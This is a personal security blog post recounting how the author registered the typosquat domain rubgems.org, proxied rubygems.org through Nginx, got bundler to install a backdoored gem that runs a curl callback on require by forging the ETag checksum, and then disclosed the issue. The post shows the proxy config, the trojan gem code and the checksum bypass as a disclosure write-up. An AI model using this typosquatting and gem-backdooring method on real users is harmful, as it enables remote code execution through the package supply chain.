How I MITM'd rubygems.org ... Kinda

ruby, security

This story starts at the console debugging a coworker’s issue. They had gotten stuck trying to run bundle install. Try, and fail. Try, and fail. And the error was really weird:

1

Could not reach host rubgems.org. Check your network connection and try again.

We went through the normal steps: turn it off and on again, check wifi, load up google, go for a coffee , etc. Standard debugging techniques.

Finally we realized the y had inadvertently been dropped in source 'https://rubgems.org'. Huh. Go figure. We moved on our way after giggling a little. Rub gems. Hehe.

Then I got to thinking. If my colleague had made this mistake, surely other people have made this error too. I checked the whois record, and it was available! take_my_money

I was now in possession of rubgems.org, and was left with the question: What can I do with it? Which lead me to the logical conclusion: I wonder if I can Man in the Middle rubygems.org and see if other people make this typo!

It was stupid easy to setup a MITM. Grab a tiny AWS box, configure DNS, setup an Nginx proxy, and add let’s encrypt to the box. The Nginx config looked like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

server {
  listen       80;
  server_name  _;
  return 301 https://$host$request_uri;
}

server {
  listen 443 ssl;

  server_name  rubgems.org;
  location / {
    proxy_pass $scheme://rubygems.org;
    sub_filter 'rubygems.org' 'rubgems.org';
  }

  # SSL Config
}

And that was it. I cobbled together some commands to build a simple log file parser to send me a list of unique IPs each day via email, and then I sat back and waited.

What Does a RubyGems MITM Get You?

While I waited, I investigated and tried to determine: What is possible if you’ve got control of a rubygem? To answer this question I created a trojan_horse gem. You can see it here on rubygems.org: https://rubygems.org/gems/trojan_horse.

The rough contents of which were:

1
2
3
4
5

class TrojanHorse
  def self.hi
    puts "I'm a real horse"
  end
end

Then I made a modification of the gem and added my MITM code at the top:

1
2
3
4
5
6
7

`curl http://rubgems.org/request_capture`

class TrojanHorse
  def self.hi
    puts "I'm a real horse"
  end
end

I put this gem onto my MITM’d server, and tried to download it through various means.

RubyGems

Let’s see what happens with RubyGems. I started looking at gem install and set the --source flag, here’s what got downloaded:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

$ gem install --source https://rubgems.org trojan_horse --verbose
HEAD https://rubygems.org/api/v1/dependencies
200 OK
HEAD https://rubgems.org/api/v1/dependencies
200 OK
GET https://rubygems.org/api/v1/dependencies?gems=trojan_horse
200 OK
GET https://rubgems.org/api/v1/dependencies?gems=trojan_horse
200 OK
GET https://rubygems.org/quick/Marshal.4.8/trojan_horse-0.0.1.gemspec.rz
200 OK
/usr/local/share/gems/trojan_horse-0.0.1/lib/trojan_horse.rb
Successfully installed trojan_horse-0.0.1
Parsing documentation for trojan_horse-0.0.1
Parsing sources...
100% [ 1/ 1]  lib/trojan_horse.rb
Installing ri documentation for trojan_horse-0.0.1
Done installing documentation for trojan_horse after 0 seconds
1 gem installed

$ ruby -e "require 'trojan_horse'"
$

Huh interesting. It reaches out to rubygems.org and then rubgems.org, but the download prefers to use rubygems.org over my MITM. Wonder why? Checking out the help docs solves that problem:

1
2
3

gem install --help
# ...
-s, --source URL                 Append URL to list of remote gem sources

From this it looks like the url is appended to the end such that if the gem doesn’t exist on rubygems.org only then will it reach out to a different source. No MITM possibility there!

Fresh Installation with Bundler

Next I tried my hand at bundler. I started by creating the following Gemfile entry:

1
2

source 'https://rubgems.org'
gem 'trojan_horse'

And received:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

$ bundle install --verbose
Running `bundle install --verbose` with bundler 2.0.1
HTTP GET https://rubgems.org/versions
HTTP 200 OK https://rubgems.org/versions
Fetching gem metadata from https://rubgems.org/
Looking up gems ["trojan_horse"]
HTTP GET https://rubgems.org/info/trojan_horse
HTTP 200 OK https://rubgems.org/info/trojan_horse
Resolving dependencies...
Using bundler 2.0.1
0:  bundler (2.0.1) from /usr/local/share/gems/specifications/bundler-2.0.1.gemspec
Fetching trojan_horse 0.0.1
Installing trojan_horse 0.0.1
0:  trojan_horse (0.0.1) from /usr/local/share/gems/specifications/trojan_horse-0.0.1.gemspec
Bundle complete! 1 Gemfile dependency, 2 gems now installed.
Use `bundle info [gemname]` to see where a bundled gem is installed.

$ ruby -e "require 'trojan_horse'"
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
Dload  Upload   Total   Spent    Left  Speed
100     3  100     3    0     0      7      0 --:--:-- --:--:-- --:--:--     7

As you can see from the curl output, having never downloaded the gem before, I have RCE through the gem.

Reinstall with Bundler

With the bundler reinstall, I began by uninstalling trojan_horse, and updating my Gemfile to the following:

1
2

source 'https://rubygems.org'
gem 'trojan_horse'

And then ran bundle install:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

$ bundle install --verbose
Running `bundle install --verbose` with bundler 1.17.3
HTTP GET https://index.rubygems.org/versions
HTTP 200 OK https://index.rubygems.org/versions
Fetching gem metadata from https://rubygems.org/
Looking up gems ["trojan_horse"]
HTTP GET https://index.rubygems.org/info/trojan_horse
HTTP 200 OK https://index.rubygems.org/info/trojan_horse
Resolving dependencies...
Using bundler 1.17.3
0:  bundler (1.17.3) from /usr/local/share/gems/specifications/bundler-1.17.3.gemspec
Fetching trojan_horse 0.0.1
Installing trojan_horse 0.0.1
0:  trojan_horse (0.0.1) from /usr/local/share/gems/specifications/trojan_horse-0.0.1.gemspec
Bundle complete! 1 Gemfile dependency, 2 gems now installed.

$ ruby -e "require 'trojan_horse'"
$

As you can see the gem downloaded cleanly from rubygems.org, without a trojan. Next I updated the Gemfile back to rubgems and ran bundle install --verbose:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

# bundle install --verbose
Running `bundle install --verbose` with bundler 1.17.3
Found changes from the lockfile, re-resolving dependencies because the list of sources changed
HTTP GET https://rubgems.org/versions
HTTP 200 OK https://rubgems.org/versions
Fetching gem metadata from https://rubgems.org/
Looking up gems ["trojan_horse"]
HTTP GET https://rubgems.org/info/trojan_horse
HTTP 200 OK https://rubgems.org/info/trojan_horse
HTTP GET https://rubgems.org/info/trojan_horse
HTTP 200 OK https://rubgems.org/info/trojan_horse

Retrying fetcher due to error (2/4): Bundler::HTTPError The checksum of /info/trojan_horse does
  not match the checksum provided by the server! Something is wrong (local checksum
  is "\"534cd8e8e81a4c9e4506940916c63080\"", was expecting "\"5cea0d4d-55\"").

Looking up gems ["trojan_horse"]
Double checking for ["trojan_horse"] in repository https://rubgems.org/ or installed locally
Fetching gem metadata from https://rubgems.org/
Looking up gems ["trojan_horse"]
Resolving dependencies...
Using bundler 1.17.3
0:  bundler (1.17.3) from /usr/local/share/gems/specifications/bundler-1.17.3.gemspec
Installing trojan_horse 0.0.1
0:  trojan_horse (0.0.1) from /usr/local/share/gems/specifications/trojan_horse-0.0.1.gemspec
Bundle complete! 1 Gemfile dependency, 2 gems now installed.
Use `bundle info [gemname]` to see where a bundled gem is installed.

And herein I got caught! Bundler does a checksum comparison on the gem verses the server. But if I control the server, shouldn’t I be able to control the checksum? I checked what /info/trojan_horse returned:

1
2
3
4
5
6
7

curl https://rubgems.org/info/trojan_horse
---
0.0.1 |checksum:f199445ebe0d03a6125c80b5eae7678dfc88caa4a5bfc631928df2ff7354ee5c

curl https://rubygems.org/info/trojan_horse
---
0.0.1 |checksum:94b11151b60a613ecc426ac5855621aded3a8396b5a307bf24ecc2288ebc13c8

Those are different, but they don’t match the checksum failure I was getting. Things actually got confusing at this point. And when that happens, I jump into the source code and try to get a debugger around what’s happening.

Grepping for “does not match the checksum” on github lead me to MisMatchedChecksumError. And finally down to line 70.

1

 if etag_for(local_temp_path) == response_etag

At this point with a debugger around the code, I can start to look at the two variable values:

  • local_temp_path is a path to a local cache of the /info/trojan_horse file; on my local that path looks like this:
1
2
3

cat /tmp/bundler-compact-index-20200218-620-1ujtcvc/trojan_horse
---
0.0.1 |checksum:f199445ebe0d03a6125c80b5eae7678dfc88caa4a5bfc631928df2ff7354ee5c
  • response_etag is the ETag value from the request sent to rubgems for /info/trojan_horse. That value came back as:
1
2

> response["ETag"]
=> "\"5cea0d4d-55\""

First mystery solved I found one of the checksums. It’s a partial MD5 hash coming from ETag confused-cat

Still digging, I followed the method etag_for and ended up at this code:

1
2
3
4
5
6
7
8
9
10
11

def etag_for(path)
  sum = checksum_for_file(path)
  sum ? %("#{sum}") : nil
end

def checksum_for_file(path)
  return nil unless path.file?
  # ... <snip>

  SharedHelpers.digest(:MD5).hexdigest(IO.read(path))
end

That makes more sense! Bundler is doing an MD5 hash against the contents of the file returned at /info/trojan_horse. The MD5 hash for that file looks like this:

1
2
3
4

> content = File.read(local_temp_path)
=> "---\n0.0.1 |checksum:f199445ebe0d03a6125c80b5eae7678dfc88caa4a5bfc631928df2ff7354ee5c\n"
> Digest::MD5.hexdigest(content)
=> "534cd8e8e81a4c9e4506940916c63080"

And this is the second piece. The ETag is not matching with what I have on the local cache and that’s why the installation is failing. Makes sense. But I control the server, so I can modify the ETag! All that’s expected from the bundler standpoint is an MD5 checksum that matches the contents of the file.

I switched up my Nginx configuration so that when is requested /info/trojan_horse it reverse proxies to a local ruby server and sends back the MD5 hash it was expecting.

And viola! The backdoored gem installed. I was actually shocked at this point. I expected additional safety checks to break, and that wasn’t the case. The lesson here is if you own the server, the client can’t do anything to save itself from you.

Summary

To summarize my findings:

  • There’s no possibility of MITM against gem install
  • And I have full MITM with RCE against bundle install

Back to the Story…

After about 3 months I tallied up my stats. I had a collection of around 100 IPs. The geographical layout looked like this:

1
2
3
4
5
6
7
8
9
10

Location          | Count
------------------|------
Amazon - Virginia | 51
United States     | 7
Brazil            | 6
China             | 5
UK                | 5
Germany           | 5
Canada            | 3
Others with 1 IP  | 19

Not too shabby. You’ll noticed that half of those connections are for AWS. Which should give you pause, because it likely means my MITM was running on a staging or production server. Yikes! At this point I felt like my little experiment had run its course and demonstrated that this was a viable method for running a rubygems MITM.

I wasn’t entirely sure how to properly disclose this info. It was sensitive. But also, kinda not really. Especially since I owned the domain in question. But that said, there could be other domains that could be squatted so I felt it best to start quietly.

I started by submitting a report to HackerOne against the RubyGems program. If I could get paid for this, why not! Rejected. I wasn’t surprised with that. I asked to publicly disclose … it waited for a month until I bumped it, the H1 staff replied “we’ll let you know once we have info” and then closed it. I took that as: “Here is the door, please use it.” man_shrugging

The next avenue I tried was sending an email to rubygems’ security email: security@rubygems.org. I heard back within 2 hours, and then nothing. I sent a few follow up emails, but didn’t hear back. I happened to bump into RenderMan at BSides Edmonton and chatted with him about the MITM and lack of response. He fired off a tweet to see if he could get me a response. Nada.

Finally, I spoke to a colleague that had a connection on the rubygems team. This eventually lead to a response back from my initial email with instructions to file an issue. Progress!

Additionally, since this issue affected bundler, I sent security@bundler.io an email. That bounced back as undeliverable. Guess that email doesn’t exist. And sent an email to team@bundler.io and never got a response.

At this point, I submitted issues with the rubygems project and bundler project, and fired up the ol’ text editor to write this post.

This MITM turned out to be a lot of fun to run through. While it wasn’t a super serious issue, had I been a malicious actor, I could have RCE on a bunch of computers right now so… Achievement unlocked … Kinda! trophy

This page was published on by Gavin Miller.